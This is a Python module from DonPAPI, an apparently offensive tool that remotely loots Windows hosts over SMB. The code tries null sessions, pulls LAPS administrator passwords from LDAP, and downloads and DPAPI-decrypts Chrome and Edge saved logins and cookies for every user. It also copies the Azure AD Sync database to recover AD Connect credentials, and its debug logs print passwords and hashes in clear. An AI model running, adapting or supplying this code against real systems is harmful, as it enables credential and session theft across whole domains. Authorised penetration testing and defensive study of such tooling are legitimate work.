DonPAPI/donpapi/myseatbelt.py
2023-10-06 18:01:12 +02:00

2352 lines
144 KiB
Python

#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
"""
MySeatBelt module contain MySeatBelt class.
@Author: Pierre-Alexandre Vandewoestyne (@T00uF)
"""
import copy
import impacket
import socket
import sqlite3
from pathlib import Path
from ldap3 import ALL, Server, Connection, NTLM
from impacket.dcerpc.v5 import srvs
from impacket.dcerpc.v5.dtypes import NULL, RPC_SID
from impacket.smb import SMB_DIALECT
# import impacket.dpapi
from donpapi.lib.adconnect import *
from donpapi.lib.certificates import CertificatesTriage
from donpapi.lib.dpapi import DPAPI
from donpapi.lib.fileops import MyRegOps
from donpapi.lib.new_module import *
from donpapi.lib.RecentFiles import *
from donpapi.lib.secretsdump import LSASecrets as MyLSASecrets
from donpapi.lib.secretsdump import SAMHashes as MySAMHashes
from donpapi.lib.secretsdump import RemoteOperations as MyRemoteOperations
from donpapi.lib.toolbox import is_guid
from donpapi.software.browser.chrome_decrypt import *
from donpapi.software.browser.firefox_decrypt import *
from donpapi.software.sysadmin.vnc import Vnc
from donpapi.myusers import MyUser
from donpapi.database import Database
# from DonPAPI.lib.lazagne_dpapi.credhist import CredHistFile
class MySeatBelt:
"""MySeatBelt class."""
def __init__(self, target, options, logger, verbose=1):
self.host = target
self.options = copy.deepcopy(options)
self.options.target_ip = target
self.options.timeout = 5
# options.target_ip=target
self.logging = logger
self.smb = None
# self.username = options.username
# self.password = options.password
# self.domain = options.domain
"""
msg_debug = f"[{target}] [-] initialising smb connection to {options.domain} / " \
f"{options.username} : {options.password}, @ {options.dc_ip} , Hash :" \
f" {options.lmhash} : { options.nthash}, AESKey {options.aesKey}"
self.logging.info(msg_debug)
smb_client = SMBConnection(options.address, target, sess_port=int(options.port))
if options.k is True:
smb_client.kerberosLogin(options.username, options.password, options.domain,
options.lmhash, options.nthash, options.aesKey, options.dc_ip )
else:
smb_client.login(options.username, options.password, options.domain, options.lmhash,
options.nthash)
self.smb = smb_client
"""
# Init all
self.smbv1 = False
self.admin_privs = False
# self.username, self.password, self.domain, self.lmhash, self.nthash, \
# self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
self.share = None
self.last_output = None
self.completion = []
self.users = []
self.user_path = ''
self.machine_key = []
self.user_key = []
# self.options[logging] = logge
self.myfileops = None
self.myregops = None
# self.myfileops = MyFileOps(self.smb,self.logging,self.options)
self.credz = options.credz
self.__remoteOps = None
self.__bootKey = b''
self.__SAMHashes = None
self.__LSASecrets = None
self.global_logfile = b'globallog.log'
self.init_connect()
def init_connect(self):
"""Init SQLite connection."""
try:
sqlite_database = sqlite3.connect(self.options.db_path, check_same_thread=False)
self.db = Database(sqlite_database, self.logging)
if self.create_conn_obj():
# self.do_info_rpc_unauth()
self.do_info_unauth()
self.create_conn_obj()
if self.login_conn():
self.is_admin()
if self.admin_privs:
self.myfileops = MyFileOps(self.smb, self.logging, self.options)
self.myregops = MyRegOps(self.logging, self.options)
return True
else:
return False
return False
except Exception:
self.logging.debug("Error init connect")
return False
def create_smbv1_conn(self):
"""Create SMBv1 connection."""
try:
self.smb = SMBConnection(self.host, self.host, None, self.options.port,
preferredDialect=SMB_DIALECT, timeout=self.options.timeout)
self.smbv1 = True
self.logging.debug(f"SMBv1 OK on {self.host} - {self.options.target_ip}")
except socket.error as exc:
if "Connection reset by peer" in str(exc):
self.logging.debug(f"SMBv1 might be disabled on {self.host}")
return False
except Exception as exc:
self.logging.debug(f"Error creating SMBv1 connection to {self.host}: {str(exc)}")
return False
return True
def create_smbv3_conn(self):
"""Create SMBv3 connection."""
try:
self.smb = SMBConnection(self.host, self.host, None, self.options.port,
timeout=self.options.timeout)
self.smbv1 = False
logging.debug(f"SMBv3 OK on {self.host} - {self.options.target_ip}")
except Exception as exc:
self.logging.debug(f"Error creating SMBv3 connection to {self.host}: {exc}")
self.db.add_computer(ip=self.host, connectivity=f"{exc}")
return False
return True
def create_conn_obj(self):
"""Create connection object."""
# self.logging.info(f"[{self.options.target_ip}] [-] Initializing SMB connection " \
# f"to {self.options.domain} / {self.options.username} : " \
# f"{self.options.password}, @ {self.options.dc_ip} , Hash : " \
# f"{self.options.lmhash} : {self.options.nthash}, " \
# f"AESKey {self.options.aesKey}")
self.logging.debug(f"[{self.options.target_ip}] [-] Initializing SMB connection ...")
if self.create_smbv1_conn():
return True
if self.create_smbv3_conn():
return True
return False
def close_smb(self):
"""Close SMB connection."""
try:
self.logging.debug(f"[{self.options.target_ip}] [-] Closing SMB connection ...")
self.myfileops.smb.close()
self.myregops.close()
self.smb.close()
self.logging.debug(f"[{self.options.target_ip}] [-] SMB closed ...")
except Exception as e:
self.logging.debug('Error in closing SMB connection %s',e)
return False
def get_laps(self):
"""Get LAPS."""
try:
self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local " \
f"admin password on {self.options.hostname} - domain " \
f"{self.options.domain} : dcip {self.options.dc_ip}")
ldap_domain = 'dc='
ldap_domain += ",dc=".join(self.options.domain.split('.').split('.'))
if self.options.dc_ip is not None:
srv = Server(self.options.dc_ip, get_info=ALL)
else:
srv = Server(self.options.domain, get_info=ALL)
conn = Connection(srv, user=self.options.domain + "\\" + self.options.username,
password=self.options.password, authentication=NTLM,
auto_bind=True)
conn.search(search_base=f"{ldap_domain}",
search_filter=f'(&(cn={self.options.hostname})(ms-MCS-AdmPwd=*))',
attributes=['ms-MCS-AdmPwd', 'SAMAccountname'])
self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local " \
f"admin password on {self.options.hostname} - " \
f"{ldap_domain} - got {len(conn.entries)} match")
if len(conn.entries) == 1:
# for entry in c.entries[0]:
entry = conn.entries[0]
# self.options.username = str(entry['sAMAccountName'])
self.options.password = str(entry['ms-Mcs-AdmPwd'])
# self.username = self.options.username
# self.password = self.options.password
self.options.local_auth = True
self.options.domain = self.options.hostname
return True
else:
return False
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} " \
f"in get LAPS {bcolors.ENDC}")
self.logging.debug(ex)
return False
def login_conn(self, username=None, password=None, domain=None):
try:
if username is None:
username = self.options.username
if password == None:
password = self.options.password
if domain == None:
domain = self.options.domain
# smbClient = SMBConnection(options.address, target, sess_port=int(options.port))
if self.options.k is True:
self.logging.debug(
f"[{self.options.target_ip}] [-] initialising smb Kerberos Authentification to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
self.smb.kerberosLogin(username, password, domain, self.options.lmhash, self.options.nthash,
self.options.aesKey, self.options.dc_ip)
return True
# elif self.options.hashes != None:
else:
if self.options.laps is True and username != '' and password != '': # not doing LAPS for null session
if (self.get_laps()):
for username in ['administrator', 'administrateur', 'administrador']:
try:
self.logging.debug(
f"[{self.options.target_ip}] [-] initialising smb Local Authentification to {self.options.domain} / {username} : {self.options.password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
self.smb.login(username, self.options.password, self.options.domain,
self.options.lmhash, self.options.nthash, ntlmFallback=True)
self.options.username = username
if username not in self.options.credz:
self.options.credz[username] = [self.options.password]
else:
self.options.credz[username].append(self.options.password)
return True
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection - LAPS with {bcolors.ENDC}")
self.logging.debug(ex)
continue
else:
if username == "" and password == "":
try:
self.logging.debug(
f"[{self.options.target_ip}] [-] initialising smb NullSession to {self.host}")
self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash,
ntlmFallback=True)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Exception {bcolors.WARNING} in NullSession {bcolors.ENDC}")
self.logging.debug(ex)
return False
else:
self.logging.debug(
f"[{self.options.target_ip}] [-] initialising smb Authentification to {domain} / {username} : {password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash,
ntlmFallback=True)
'''except : #self.smb.STATUS_LOGON_FAILURE :
try:
if domain != self.hostname:
#Trying localy
self.smb.login(username, password, self.hostname, self.options.lmhash, self.options.nthash, ntlmFallback=True)
return True
else:#On pourrait tenter une connexion domain, mais on risque d'augmenter le compte des erreurs
self.logging.error(f"[{self.options.target_ip}] Error {bcolors.WARNING} Connexion refused with credentials {domain}/{username}:{password}@{self.host} {bcolors.ENDC}")
return False
except Exception as ex:
self.logging.error(f"[{self.options.target_ip}] Exception {bcolors.WARNING} Connexion Error in Local attempt {bcolors.ENDC}")
self.logging.debug(ex)
return False'''
# self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
return True
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection {bcolors.ENDC}")
self.logging.debug(ex)
return False
def GetUserByName(self, username):
for user in self.users:
if user.username == username:
return user
else:
self.logging.debug("User %s Not found in self.users" % username)
def is_admin(self):
self.logging.debug(f"[{self.options.target_ip}] Checking if is admin ")
self.admin_privs = False
try:
self.smb.connectTree("C$")
self.admin_privs = True
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Is ADMIN{bcolors.ENDC}")
self.db.update_computer(ip=self.options.target_ip, is_admin=True)
except SessionError as e:
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in IS ADMIN{bcolors.ENDC}")
self.logging.debug(f"[{self.options.target_ip}] {e}")
self.db.update_computer(ip=self.options.target_ip, is_admin=False)
pass
return self.admin_privs
def do_info_unauth(self):
# self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try:
# Null session to get basic infos
self.login_conn(username='', password='')
# self.domain = self.smb.getServerDNSDomainName()
self.options.hostname = self.smb.getServerName()
# self.options.hostname=self.hostname
self.server_os = self.smb.getServerOS()
self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection[
'RequireSigning']
# self.os_arch = self.get_os_arch()
if self.options.domain == '': # no domain info == local auth
self.options.domain = self.options.hostname
# elif self.options.domain != '':
# self.domain = self.options.domain
self.logging.info(
f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.options.hostname}{bcolors.ENDC} (domain:{self.smb.getServerDNSDomainName()}) ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]")
self.db.add_computer(ip=self.options.target_ip, hostname=self.options.hostname,
domain=self.smb.getServerDNSDomainName(), os=self.server_os,
smb_signing_enabled=self.signing, smbv1_enabled=self.smbv1)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO UNAUTH {bcolors.ENDC}")
self.logging.debug(ex)
def do_info_rpc_unauth(self):
try:
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
smb_connection=self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrServerGetInfo(dce, 102)
self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
self.hostname = resp['InfoStruct']['ServerInfo102']['sv102_name']
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO {bcolors.ENDC}")
self.logging.debug(ex)
def do_info_with_auth(self):
# self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try:
# Null session to get basic infos
self.login_conn()
# self.domain = self.smb.getServerDNSDomainName()
self.options.hostname = self.smb.getServerName()
self.server_os = self.smb.getServerOS()
self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection[
'RequireSigning']
# self.os_arch = self.get_os_arch()
if not self.domain and self.options.domain == '':
self.domain = self.options.hostname
elif self.options.domain != '':
self.domain = self.options.domain
self.logging.info(
f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) {self.hostname} ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]")
# IP# print(self.smb.getRemoteHost())
# print(self.smb.getServerDNSDomainName())
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
smb_connection=self.smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrServerGetInfo(dce, 102)
# self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning']
# self.os_arch = self.get_os_arch()
# self.logging.debug("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
# self.logging.debug("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
# self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
# self.logging.debug("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
# self.logging.debug("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
# self.logging.debug("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])
# USE user path
self.user_path = resp['InfoStruct']['ServerInfo102']['sv102_userpath']
self.db.add_computer(ip=self.options.target_ip, hostname=self.hostname, domain=self.domain,
os=self.server_os)
self.logging.info(
f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) ({self.server_os} - {resp['InfoStruct']['ServerInfo102']['sv102_comment']} -{resp['InfoStruct']['ServerInfo102']['sv102_userpath']} - {resp['InfoStruct']['ServerInfo102']['sv102_users']})")
except Exception as ex:
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO AUTH{bcolors.ENDC}")
self.logging.debug(ex)
def logsecret(self, data):
try:
fh = open(self.global_logfile, 'ab')
fh.write(data.encode())
fh.close()
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} {data} {bcolors.ENDC}")
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception logsecret for {data} {bcolors.ENDC}")
self.logging.debug(ex)
def GetEdgeSecrets(self):
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering MSEdge Secrets {bcolors.ENDC}")
blacklist = ['.', '..']
user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data", 'Local State',
'ChromeLocalState', 'DOMAIN'),
("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", 'Cookies',
'ChromeCookies', 'DOMAIN'),
("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default",
'Extension Cookies', 'ChromeCookies', 'DOMAIN'),
(
"Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network", 'Cookies',
'ChromeCookies', 'DOMAIN'),
(
"Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Safe Browsing Network",
'Safe Browsing Cookies', 'ChromeCookies', 'DOMAIN'),
("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", 'Login Data',
'ChromeLoginData', 'DOMAIN'),
("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data", 'Last Version',
'ChromeVersion', 'DOMAIN'),
]
for user in self.users:
if user.username == 'MACHINE$':
continue
else:
directories_to_use = user_directories
myoptions = copy.deepcopy(self.options)
myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
myoptions.key = None
myoptions.masterkeys = None
myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db, user.username, type="MSEdge")
# if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
for info in directories_to_use:
my_dir, my_mask, my_blob_type, my_user_type = info
tmp_pwd = my_dir.format(
username=user.username) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
self.logging.debug(
f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
for infos in my_directory:
longname, is_directory = infos
self.logging.debug("ls returned file %s" % longname)
if longname not in blacklist and not is_directory:
try:
self.logging.debug(
f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}")
# Downloading Blob file
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True)
# myoptions = copy.deepcopy(self.options)
if my_blob_type == 'ChromeLocalState':
try:
myChromeSecrets.localstate_path = localfile
guid = myChromeSecrets.get_masterkey_guid_from_localstate()
if guid != None:
masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
if masterkey != None:
if masterkey['status'] == 'decrypted':
myChromeSecrets.masterkey = masterkey['key']
aesKey = myChromeSecrets.get_AES_key_from_localstate(
masterkey=masterkey['key'])
if aesKey != None:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}")
self.logging.debug(ex)
if my_blob_type == 'ChromeLoginData':
try:
myChromeSecrets.logindata_path = localfile
user.files[longname] = {}
user.files[longname]['type'] = my_blob_type
user.files[longname]['status'] = 'encrypted'
user.files[longname]['path'] = localfile
logins = myChromeSecrets.decrypt_chrome_LoginData()
user.files[longname]['secret'] = logins
if logins is not None:
user.files[longname]['status'] = 'decrypted'
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
if my_blob_type == 'ChromeCookies':
try:
myChromeSecrets.cookie_path = localfile
user.files[longname] = {}
user.files[longname]['type'] = my_blob_type
user.files[longname]['status'] = 'encrypted'
user.files[longname]['path'] = localfile
cookies = myChromeSecrets.decrypt_chrome_CookieData()
user.files[longname]['secret'] = cookies
if cookies is not None:
user.files[longname]['status'] = 'decrypted'
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
if my_blob_type == 'ChromeVersion':
try:
myChromeSecrets.version_path = localfile
user.files[longname] = {}
user.files[longname]['type'] = my_blob_type
user.files[longname]['status'] = 'encrypted'
user.files[longname]['path'] = localfile
cookies = myChromeSecrets.get_chrome_Version()
user.files[longname]['secret'] = cookies
if cookies is not None:
user.files[longname]['status'] = 'decrypted'
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
self.logging.debug(ex)
def GetMozillaSecrets_wrapper(self):
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Mozilla Secrets {bcolors.ENDC}")
for user in self.users:
if user.username == 'MACHINE$':
continue
try:
myoptions = copy.deepcopy(self.options)
myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
myoptions.key = None
myoptions.masterkeys = None
myFirefoxSecrets = FIREFOX_LOGINS(myoptions, self.logging, user, self.myfileops, self.db)
myFirefoxSecrets.run()
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception GetMozillaSecrets_wrapper for {user.username} {bcolors.ENDC}")
self.logging.debug(ex)
def GetChromeSecrets(self):
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Chrome Secrets {bcolors.ENDC}")
blacklist = ['.', '..']
# Parse chrome
# autres navigateurs ?
user_directories = [("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Local State',
'ChromeLocalState', 'DOMAIN'),
("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Cookies',
'ChromeCookies', 'DOMAIN'),
("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default",
'Extension Cookies', 'ChromeCookies', 'DOMAIN'),
(
"Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network", 'Cookies',
'ChromeCookies', 'DOMAIN'),
(
"Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Safe Browsing Network",
'Safe Browsing Cookies', 'ChromeCookies', 'DOMAIN'),
("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Login Data',
'ChromeLoginData', 'DOMAIN'),
("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Last Version',
'ChromeVersion', 'DOMAIN'),
]
for user in self.users:
if user.username == 'MACHINE$':
continue
else:
directories_to_use = user_directories
myoptions = copy.deepcopy(self.options)
myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
myoptions.key = None
myoptions.masterkeys = None
myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db, user.username)
# if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
for info in directories_to_use:
my_dir, my_mask, my_blob_type, my_user_type = info
tmp_pwd = my_dir.format(
username=user.username) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
self.logging.debug(
f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
for infos in my_directory:
longname, is_directory = infos
self.logging.debug("ls returned file %s" % longname)
if longname not in blacklist and not is_directory:
try:
self.logging.debug(
f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}")
# Downloading Blob file
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True)
# myoptions = copy.deepcopy(self.options)
if my_blob_type == 'ChromeLocalState':
try:
myChromeSecrets.localstate_path = localfile
guid = myChromeSecrets.get_masterkey_guid_from_localstate()
if guid != None:
masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
if masterkey != None:
if masterkey['status'] == 'decrypted':
myChromeSecrets.masterkey = masterkey['key']
aesKey = myChromeSecrets.get_AES_key_from_localstate(
masterkey=masterkey['key'])
if aesKey != None:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
else:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}")
self.logging.debug(ex)
if my_blob_type == 'ChromeLoginData':
try:
myChromeSecrets.logindata_path = localfile
user.files[longname] = {}
user.files[longname]['type'] = my_blob_type
user.files[longname]['status'] = 'encrypted'
user.files[longname]['path'] = localfile
logins = myChromeSecrets.decrypt_chrome_LoginData()
user.files[longname]['secret'] = logins
if logins is not None:
user.files[longname]['status'] = 'decrypted'
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
if my_blob_type == 'ChromeCookies':
try:
myChromeSecrets.cookie_path = localfile
user.files[longname] = {}
user.files[longname]['type'] = my_blob_type
user.files[longname]['status'] = 'encrypted'
user.files[longname]['path'] = localfile
cookies = myChromeSecrets.decrypt_chrome_CookieData()
user.files[longname]['secret'] = cookies
if cookies is not None:
user.files[longname]['status'] = 'decrypted'
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
if my_blob_type == 'ChromeVersion':
try:
myChromeSecrets.version_path = localfile
user.files[longname] = {}
user.files[longname]['type'] = my_blob_type
user.files[longname]['status'] = 'encrypted'
user.files[longname]['path'] = localfile
cookies = myChromeSecrets.get_chrome_Version()
user.files[longname]['secret'] = cookies
if cookies is not None:
user.files[longname]['status'] = 'decrypted'
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
self.logging.debug(ex)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
self.logging.debug(ex)
def getMdbData(self):
try:
return self.getMdbData2()
except UnicodeDecodeError:
return self.getMdbData2('utf-16-le')
def getMdbData2(self, codec='utf-8'):
try:
out = {
'cryptedrecords': [],
'xmldata': []
}
keydata = None
#
# self.options.from_file='adsync_export'
if self.options.from_file:
logging.info('Loading configuration data from %s on filesystem', self.options.from_file)
infile = codecs.open(self.options.from_file, 'r', codec)
enumtarget = infile
else:
logging.info('Querying database for configuration data')
dbpath = os.path.join(os.getcwd(), r"ADSync.mdf")
output = subprocess.Popen(["ADSyncQuery.exe", dbpath], stdout=subprocess.PIPE).communicate()[0]
enumtarget = output.split('\n')
#####TEMP
# logging.info('Loading configuration data from %s on filesystem', self.__options.from_file)
# infile = codecs.open('adsync_export', 'r', codec)
# enumtarget = infile
######
for line in enumtarget:
try:
ltype, data = line.strip().split(': ')
except ValueError:
continue
ltype = ltype.replace(u'\ufeff', u'')
if ltype.lower() == 'record':
xmldata, crypteddata = data.split(';')
out['cryptedrecords'].append(crypteddata)
out['xmldata'].append(xmldata)
# print(f"record found : {xmldata}")
if ltype.lower() == 'config':
instance, keyset_id, entropy = data.split(';')
out['instance'] = instance
out['keyset_id'] = keyset_id
out['entropy'] = entropy
# if self.__options.from_file:
# infile.close()
# Check if all values are in the outdata
required = ['cryptedrecords', 'xmldata', 'instance', 'keyset_id', 'entropy']
for option in required:
if not option in out:
logging.error(
'Missing data from database. Option %s could not be extracted. Check your database or output file.',
option)
return None
return out
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Parsing database : Please manualy run ADSyncQuery.exe ADSync.mdf > adsync_export on a windows env with MSSQL support{bcolors.ENDC}")
self.logging.debug(ex)
def Get_AD_Connect(self, user, localfile, data):
# Local DPAPI extracted data
info = ""
parts = data['Target'].decode('utf-16le')[:-1].split('_')
localBlobdatas = {
'instanceid': parts[3][1:-1].lower(),
'keyset_id': parts[4],
'data': data['Unknown3']
}
# print(localBlobdatas)
# ADConnect Database data
logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE} Trying to get ADConnect account{bcolors.ENDC}")
try:
# Stop Service / Download DB / Start DB
myADSRemoteOps = ADSRemoteOperations(smbConnection=self.smb, doKerberos=False)
myADSRemoteOps.gatherAdSyncMdb()
# files_to_dl=['Program Files\\Microsoft Azure AD Sync\\Data\\ADSync.mdf','Program Files\\Microsoft Azure AD Sync\\Data\\ADSync_log.ldf']
mdbdata = self.getMdbData()
if mdbdata is None:
logging.debug(f"[{self.options.target_ip}] Could not extract required database information. Exiting")
return
# print(mdbdata)
except Exception as ex:
self.logging.debug(
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ADSRemoteOperations 1{bcolors.ENDC}")
self.logging.debug(ex)
result = localBlobdatas
if result is not None:
if result['keyset_id'] != mdbdata['keyset_id'] or result['instanceid'] != mdbdata['instance']:
logging.debug('Found keyset %s instance %s, but need keyset %s instance %s. Trying next',
result['keyset_id'], result['instanceid'], mdbdata['keyset_id'], mdbdata['instance'])
else:
logging.debug('Found correct encrypted keyset to decrypt data')
if result is None:
logging.debug('Failed to find correct keyset data')
return
# cryptkeys = [self.__remoteOps.decryptDpapiBlobSystemkey(result['data'], self.dpapiSystem['MachineKey'],string_to_bin(mdbdata['entropy']))]
myoptions = copy.deepcopy(self.options)
myoptions.file = None # "key_material.tmp" # BLOB to parse
myoptions.key = None
myoptions.masterkeys = None # user.masterkeys_file
mydpapi = DPAPI(myoptions, self.logging)
guid = mydpapi.find_Blob_masterkey(raw_data=result['data'])
